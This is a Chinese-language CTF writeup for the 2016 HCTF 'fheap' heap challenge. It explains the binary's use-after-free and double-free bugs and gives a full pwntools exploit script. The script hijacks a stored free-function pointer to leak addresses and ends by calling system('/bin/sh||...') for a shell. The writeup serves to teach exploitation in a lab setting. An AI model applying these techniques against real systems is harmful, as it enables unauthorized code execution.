# 2016 HCTF fheap writeup

原创

SkYe231_ 于 2020-09-13 22:47:06 发布 150 收藏



## 基本情况

```
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
```

## 基本功能

阉割版堆管理器，有增删功能。

```
// 管理堆的结构体
struct
{
    int inuse;
    String *str;
} Strings[0x10];

// 堆结构体
typedef struct String
{
    union {
        char *buf;
        char array[16];
    } o;
    int len;
    void (*free)(struct String *ptr);
} String;
```

create string 有两种不同方式来储存字符串：

字符串块 < 16 , 在结构体堆块（String）上存放输入的字符串。

字符串块>=16 , malloc 一个**输入的字符串长度 size** 的空间， 将该空间地址存放在原来的堆块中。

> 注意是 malloc 输入的字符串长度 ， 而不是输入的 size 。自行根据源码分析：
>
> ```
> nbytesa = strlen(&buf);
> if ( nbytesa > 15 )
> {
>     dest = (char *)malloc(nbytesa);
> ```

结构体堆块（String）最后 8 个字节存放的是 free_func 函数地址，用来在 delete 的时候调用，这样的设计与上面例子一致。字符串块两种情况对应两种不同的 free_func 。

delete string 根据输入下标释放 chunk 。

## 漏洞

delete 操作释放 chunk 后，没有将相关索引指针置零，而且没有对 chunk 状态进行严格限制，仅仅限制下标范围，以及查询索引指针是否存在，并没有检查 inuse 位，造成 **UAF**、**Double free** 。

## 思路

1. 利用 UAF 控制结构体堆块（String）最后 8 字节，修改 free_func 为 puts 函数地址。释放 chunk 泄露函数真实地址，通过计算得出程序加载基地址。完成绕过 PIE 保护。
2. 再次 UAF 控制结构体堆块（String）函数地址为 printf 函数，构造出格式化字符串漏洞，泄露栈上位于 libc 段的地址，完成 libc 地址泄露。
3. 第三次 UAF 控制结构体堆块（String）函数地址为 system 函数，利用 Linux 命令行特性 `||` 完成 getshell

---

UAF 控制思路和例题差不多，但是一个问题。如果使用一样的 UAF 利用方法会出现问题：

```
add(0x30,'a'*0x30)#0
add(0x30,'a'*0x30)#1
delete(1)
delete(0)
add(0x18,'b'*0x18)
```

这样不能达到预期效果，新堆的 string chunk 用的不是 chunk0 结构体，而是继续使用 chunk2 string chunk 。后续试过申请大小各种 string chunk 都是一样情况。

所以采用申请两个小堆（字符串长度小于 16），然后新堆申请一个 0x20 大小空间存放 string ，这样 string 就会使用 chunk1 结构体堆。

```
add(8,'a'*8)
add(8,'b'*8)
delete(1)
delete(0)
```

在 free_short 附近找到 call puts 的地址：0xd2d 。然后使用 partial write 将 free_func 最低一个字节修改为 0x2d 。释放 chunk1 ，将 chunk1 结构体内容输入，从而泄露函数地址，计算出程序加载基地址。

```
call_puts_addr = 0xd2d
payload = 'a'*0x18 + p64(call_puts_addr)[0]
add(len(payload),payload)

delete(1)
p.recvuntil('a'*0x18)
elf_base = u64(p.recv(6).ljust(8,'\x00'))-call_puts_addr
```

释放 chunk0 方便我们重复利用这两个堆，然后重复上面步骤找到 call printf ：0xDBB 。需要将格式化字符串在申请堆时写入在开头。偏移地址 gdb 调试找到一个 libc 内的地址即可。

```
delete(0)
payload = '%22$p'.ljust(0x18,'a') + p64(0xDBB)[0]
add(len(payload),payload)
delete(1)
```

这步结束后会卡输入流，输入两行字符即可：

```
p.sendline('skye')
p.sendline('skye')
```

再次释放 chunk0 并申请，这次将函数地址修改为 system 地址，/bin/sh 输入在开头。由于程序输入函数不能读入 \x00 ，所以用 `||` 分隔填充内容，原因如下：

| 分隔符 | 说明 |
| --- | --- |
| && | 第2条命令只有在第1条命令成功执行之后才执行 |
| `\|\|` | 只有 `\|\|` 前的命令执行不成功（产生了一个非0的退出码）时，才执行后面的命令。 |
| ; | 当;号前的命令执行完， 不管是否执行成功，执行;后的命令 |

## EXP

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author  : MrSkYe
# @Email   : skye231@foxmail.com
# @File    : pwn-f.py
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
# p = process("./pwn-f")
p = remote("node3.buuoj.cn",29256)
elf = ELF("./pwn-f")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(size,content):
 p.recvuntil("3.quit\n")
 p.sendline("create string")
 p.recvuntil("size:")
 p.sendline(str(size))
 p.recvuntil("str:")
 p.send(content)
def delete(id):
 p.recvuntil("3.quit\n")
 p.sendline("delete string")
 p.recvuntil("id:")
 p.sendline(str(id))
 p.recvuntil("sure?:")
 p.sendline('yes')

# UAF
add(8,'a'*8)
add(8,'b'*8)
delete(1)
delete(0)

# overwrite free_func 2 puts
call_puts_addr = 0xd2d
payload = 'a'*0x18 + p64(call_puts_addr)[0]
add(len(payload),payload)

# leak libc
delete(1)
p.recvuntil('a'*0x18)
```

```
elf_base = u64(p.recv(6).ljust(8,'\x00'))-call_puts_addr
log.info("elf_base:"+hex(elf_base))
# printf_plt = elf_base + elf.plt['printf']
# log.info("printf_plt:"+hex(printf_plt))

# overwrite 2 printf leak libc
delete(0)
payload = '%22$p'.ljust(0x18,'a') + p64(0xDBB)[0]
add(len(payload),payload)
delete(1)
leak_addr = int(p.recv(14),16)
log.info("leak_addr:"+hex(leak_addr))
libc_addr = leak_addr - 0x78c0f
log.info("libc_addr:"+hex(libc_addr))
system_addr = libc_addr + libc.sym['system']
log.info("system_addr:"+hex(system_addr))
str_binsh = libc_addr + libc.search('/bin/sh').next()
log.info("str_binsh:"+hex(str_binsh))
# one = [0x45226,0x4527a,0xf0364,0xf1207]
# onegadget = one[0] + libc_addr
# log.info("onegadget:"+hex(onegadget))

p.sendline('skye')
p.sendline('skye')

# system('/bin/sh||aaa……')
delete(0)
payload = '/bin/sh||'.ljust(0x18,'a') + p64(system_addr)
add(len(payload),payload)

# gdb.attach(p,'b *$rebase(0x2020C0)')
# # gdb.attach(p,'b *$rebase(0xDBB)')
delete(1)


p.interactive()
```

## 其他解法

- hctf2016 fheap学习(FlappyPig队伍的解法)
- hctf2016 fheap学习(FreeBuf发表的官方解法)
- DIyELF 泄露 libc 地址
- hctf2016-fheap Writeup